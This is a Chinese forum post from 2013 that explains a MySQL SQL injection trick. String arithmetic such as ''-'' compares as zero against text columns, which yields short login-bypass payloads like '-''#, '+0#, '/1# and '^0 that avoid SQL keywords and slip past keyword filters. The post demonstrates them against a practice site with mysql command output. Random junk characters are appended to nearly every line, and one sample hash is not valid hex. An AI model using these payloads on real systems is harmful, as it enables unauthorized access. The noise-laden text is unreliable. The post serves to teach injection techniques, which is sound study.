找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2115|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。0 m! h) V2 x, `+ J* O: {0 G  |
有以下表结构:
- F  u, @4 z1 `4 q" o, [+ s6 d9 Y% {% U1 q
mysql> desc admin;
: M8 r/ a: `! u# Q1 [7 q; O: Z+----------+--------------+------+-----+---------+----------------+/ i/ @# H+ U) Y  h( e/ M
| Field    | Type         | Null | Key | Default | Extra          |
, P6 K: E; T9 c+----------+--------------+------+-----+---------+----------------+% h( i$ a, \; j- @" t8 N! g/ j
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |; f: E5 J% R4 m
| name     | char(32)     | NO   | UNI | NULL    |                |$ Q& s. I) f: F6 B3 [4 w
| password | char(32)     | NO   | UNI | NULL    |                |- r0 I" }' J6 E/ @& Q/ {4 j: i2 S
+----------+--------------+------+-----+---------+----------------+1 q% {) Z7 S3 L$ a  g
3 rows in set (0.00 sec)+ j/ C. d1 f1 r
执行select * from admin;,成功返回所有记录内容。' ^6 z  L0 q& Z6 s# e. X8 U

# N# I, `: M/ i
; y9 }/ m4 h( Z2 _6 h5 }+ E+----+--------+----------------------------------+
% U, q1 ]$ D* C4 \! I9 P4 @& P| id | name   | password                         |
8 R, I$ f3 I$ d" `# K+----+--------+----------------------------------+
9 H- [6 X& n2 i2 g- |& W|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |! {5 w0 l$ n  b7 S
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 g# e% w3 ^& f' @* v
|  4 | n00b   | ff80e8508d39047460921792273533a4 |* G# K! H' W8 d0 V$ @
+----+--------+----------------------------------+
1 f" n; M6 |. S( Z. n3 rows in set (0.00 sec)9 t, L# t* [  u  n2 j+ L7 M  S
执行select * from admin where name=”;,没有匹配到任何记录。 6 l- X0 z3 O% P+ ]# I! m

# j9 C; ?! ]  pmysql> select * from admin where name = '';
% _8 h- ?/ r, ~1 l+ O3 gEmpty set (0.00 sec)5 O. ^% n% v! D
那么我们来执行select * from admin where name = ”-”;
; D: w. g0 E' H- N, i9 M. B( O; ~( T
/ _: S" p% T' b7 y# j" \* t
8 B2 v! N  x* x6 j+----+--------+----------------------------------+
1 x/ M8 u$ t5 C! v" b1 c$ e4 b" O| id | name   | password                         |5 X* L, j7 X3 K
+----+--------+----------------------------------+
" ?8 K9 E: F( \! m7 ~5 }, I|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
% _6 r6 Y9 ~# E4 e" \2 ^0 W/ w|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# N% G% m% q9 q8 Z/ p8 J2 G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |% K9 C7 Q% k7 K) Q/ n1 O2 h* J
+----+--------+----------------------------------+
1 {9 l. R' }4 M4 O! T5 O3 rows in set, 3 warnings (0.00 sec)
2 |" N7 h; u5 U! b9 P8 l可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
, y. z2 Y! i! h9 X" |3 F* q0 F  W7 }; r0 O4 i
mysql> show warnings;1 H1 ~! C" U$ v1 ?0 _
+---------+------+------------------------------------------
  J1 e1 e) U& K4 m' Z( j| Level   | Code | Message
9 I) ^3 ?' ?( s0 X$ P; T+---------+------+------------------------------------------
5 D) y. l& D3 ]+ Z- E| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
9 D, ?  @9 ?& Y| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s4 _; v# o- r5 `/ Q( S$ h" u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b3 B+ y" h2 z% W+ _
+---------+------+------------------------------------------
4 O1 M9 J- N/ s  F1 y3 rows in set (0.00 sec)$ b7 K2 s2 r4 {5 l3 Q6 F5 o
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
1 b- k  o' ^( M) V$ y# E" e, ]. g! t& L8 ]$ @
mysql> select ''-'';' j, S8 _" l) }1 J
+-------+
3 \, ^% y8 V& G0 ]6 g| ''-'' |
4 |0 l. X# L! \) |7 M, K+-------+
" b& q+ N; L2 c|     0 |/ ?5 l9 X* ?$ \" k
+-------+* P/ [% P, G/ d5 ^5 M
1 row in set (0.00 sec)! _( f, ?( m6 j0 ^
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 5 f. s0 K! r% R9 T! N* Q
8 T5 o+ d; x; ~9 q: M
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
" `* @9 @2 J2 {7 G' G+-----------------------------------------------------+
. @% G+ {. d5 d| CAST((select name from admin limit 1,1) as DECIMAL) |) @2 f1 g& z2 N# C
+-----------------------------------------------------+9 F. a3 S$ l# S, x$ T0 e
|                                                   0 |; t! q2 U9 y8 N4 Z3 t
+-----------------------------------------------------+8 L( D0 c8 m% G+ I
1 row in set, 1 warning (0.00 sec)$ v" R9 q3 R/ [: c% V
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 r) ^! F7 p2 H# g
9 X, q, O6 i/ X  a+ j  n
SQL注入场景: http://www.sqlzoo.net/hack/
& n  N4 z6 e: @1 [3 ]4 G6 l9 C
+ a/ I/ \( t' p) ~5 X4 g
6 \+ F! O4 \+ {& X7 R( c8 o* l
4 c3 `) _, G' b4 a$ T
4 ]" G4 j8 h1 i& e  N; R如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
4 t. Y1 L& [, b! E3 `0 {" k
8 p4 ?3 P' D5 q6 c- w* h那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 $ B" F. c3 L  C) j1 }2 _' q

( M1 K4 M2 Q4 `7 ~# w. b' X7 x. Y
  M" G1 ?/ |* i1 l; K7 I3 A* @( T; {1 A3 F( |: G
( K5 e, r' C4 m
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
# L) {7 n/ F" V: }1 C4 q. ~0 ?3 S2 x+ q. m
   4 W$ F# C+ n. l+ K7 e

  c) e1 ^  `$ V% m! X' J除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
0 f' h& C) E1 |$ K% A  y9 B
: r0 N3 Y6 z- E( N8 `3 ?+ A4 K- a( i( y; t' P0 H) j
mysql> select ''/1;* q- |" x5 i+ p3 v
+------+
3 b; s2 u* V* h. d1 {| ''/1 |5 U; I$ N* z4 y
+------+
2 K! p  _' B/ H  w. H* J% S6 C- O|    0 |8 a( u# y& Q( t5 I
+------+
1 `$ \2 u  m& ]' p1 row in set (0.00 sec)4 s' w; g+ B$ a! b8 u
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
) g8 k& x' d0 B& B7 D3 U: m7 p/ h- A) ]% Q7 F( g$ W
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。, d" A  u4 P& ]% g8 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表